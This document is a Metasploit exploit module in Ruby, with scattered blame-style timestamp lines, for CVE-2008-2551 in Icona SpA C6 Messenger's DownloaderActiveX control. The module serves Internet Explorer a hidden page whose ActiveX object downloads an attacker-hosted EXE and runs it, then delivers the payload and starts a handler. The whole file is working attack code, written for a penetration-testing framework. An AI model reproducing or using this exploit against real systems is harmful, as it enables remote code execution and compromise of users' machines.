2012-02-01 22:26:28 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2012-02-01 22:26:28 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Download and Execute',
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'Description' => %q{
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2012-02-02 09:11:10 +00:00
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This module exploits a vulnerability in Icona SpA C6 Messenger 1.0.0.1. The
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vulnerability is in the DownloaderActiveX Control (DownloaderActiveX.ocx). The
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insecure control can be abused to download and execute arbitrary files in the context of
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the currently logged-on user.
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2012-02-01 22:26:28 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Nine:Situations:Group::SnoopyAssault', # Vulnerability discovery and exploit
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'juan vazquez' # metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2008-2551' ],
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[ 'OSVDB', '45960' ],
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[ 'BID', '29519' ],
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[ 'URL', 'http://retrogod.altervista.org/9sg_c6_download_exec.html' ],
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],
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2012-02-02 09:11:10 +00:00
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'DefaultOptions' =>
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{
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'ExitFunction' => "none",
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'InitialAutoRunScript' => 'migrate -f'
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},
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2012-02-01 22:26:28 +00:00
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'Payload' =>
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{
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'Space' => 2048,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DisclosureDate' => 'Jun 03 2008',
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'DefaultTarget' => 0,
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'Privileged' => false))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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2012-02-02 09:11:10 +00:00
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# Only IEs are potential targets
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# "File Session" is used when the ActiveX tries to request the EXE
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agent = request.headers['User-Agent']
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if agent !~ /MSIE \d\.\d|File Session/
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print_error("Target not supported: #{cli.peerhost}:#{cli.peerport} (#{agent})")
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return
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end
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2012-02-01 22:26:28 +00:00
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payload_url = "http://"
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payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/#{@payload_rand}"
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if (request.uri.match(/#{@payload_rand}/))
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return if ((p = regenerate_payload(cli)) == nil)
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data = generate_payload_exe({ :code => p.encoded })
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print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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return
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end
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2012-02-02 09:11:10 +00:00
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exe = rand_text_alpha(rand(5) + 1 )
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2012-02-01 22:26:28 +00:00
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content = %Q|
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<html>
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<object id="DownloaderActiveX1" width="0" height="0" classid="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61" codebase="DownloaderActiveX.cab#Version=1,0,0,1">
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<param name="propProgressBackground" value="#bccee8">
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<param name="propTextBackground" value="#f7f8fc">
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<param name="propBarColor" value="#df0203">
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<param name="propTextColor" value="#000000">
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<param name="propWidth" value="0">
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<param name="propHeight" value="0">
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<param name="propDownloadUrl" value="#{payload_url}/#{exe}.exe">
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<param name="propPostDownloadAction" value="run">
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<param name="propInstallCompleteUrl" value="">
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<param name="propBrowserRedirectUrl" value="">
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<param name="propVerbose" value="0">
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<param name="propInterrupt" value="0">
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</OBJECT>
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</html>
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2012-02-02 09:11:10 +00:00
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2012-02-01 22:26:28 +00:00
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, content)
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handler(cli)
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end
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def exploit
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@payload_rand = rand_text_alpha(rand(5) + 5 )
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super
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end
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end
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